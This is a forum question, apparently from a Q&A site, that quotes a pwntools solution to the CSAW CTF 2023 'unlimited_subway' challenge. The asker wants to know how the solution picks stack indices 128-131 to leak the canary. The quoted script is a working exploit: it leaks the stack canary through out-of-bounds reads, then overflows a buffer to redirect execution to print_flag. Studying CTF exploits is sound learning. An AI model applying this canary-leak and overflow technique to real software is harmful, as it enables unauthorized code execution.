So, basically i was looking at a solution for a CTF Challenge "unlimited_subway" from CSAW_CTF Quals 2023. Code of the solution looks like this:
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
p = process('./unlimited_subway')
e = ELF('./unlimited_subway')
# l = e.libc
canary = b''
print_flag = e.symbols['print_flag']
log.info("print_flag : 0x%08x" % print_flag)
# gdb.attach(p,'''b *main+554''')
# gdb.attach(p,'''b *main+609''')
# gdb.attach(p)
for i in range(0x83, 0x7f, -1):
sla('> ', 'V')
sla(' : ', bytes(str(i), 'utf-8'))
ru(' : ')
canary += r(2)
canary = int(canary, 16)
log.info("canary : 0x%08x" % canary)
payload = b''
payload += b'A'*0x40
payload += p32(canary)
payload += b'B'*0x4
payload += p32(print_flag)
sla('>', 'E')
sla(" : ", bytes(str(len(payload)), 'utf-8'))
sla(" : ", payload)
p.interactive()
I struggle to understand how exactly does the solution find the offset index (which here is 128-131) to leak the stack canary?
The link to challenge itself: https://github.com/osirislab/CSAW-CTF-2023-Quals/tree/main/pwn/unlimited_subway/chal
After opening the binary in Ghidra, I tried to calc the index myself, which logically should be 64 (to overflow the buffer) + 2 (size of "choice") + + 4 (size of name_size) .. + 4 (local_90) bytes and there should be the canary. But it only sums up to 88 bytes :center image description here